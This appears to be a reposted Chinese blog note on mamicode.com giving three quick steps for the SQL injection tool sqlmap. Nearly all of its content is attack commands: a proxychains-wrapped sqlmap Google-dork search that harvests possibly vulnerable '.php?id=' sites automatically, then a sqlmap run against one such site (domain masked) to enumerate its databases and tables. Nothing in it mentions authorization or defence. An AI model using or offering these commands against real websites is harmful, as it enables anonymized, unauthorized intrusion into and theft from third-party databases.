码迷,mamicode.com
首页 > 数据库 > 详细

sqlmap 使用笔记

时间:2018-02-02 14:32:06      阅读:200      评论:0      收藏:0      [点我收藏+]

标签:www   google   .com   class   数据   自动   post   查看   url   

1、sqlmap -hh 查看详细说明

2、使用google

proxychains sqlmap -g " inurl:\".php?id=1\" "

 自动发现可能有漏洞的url

3、选择上一步得到的url,探测用户名,数据库等等

sqlmap -u "http://www.xxxxxx.com/subcat.php?id=1" --dbs --tables

 

sqlmap 使用笔记

标签:www   google   .com   class   数据   自动   post   查看   url   

原文地址:https://www.cnblogs.com/lanqie/p/8404572.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!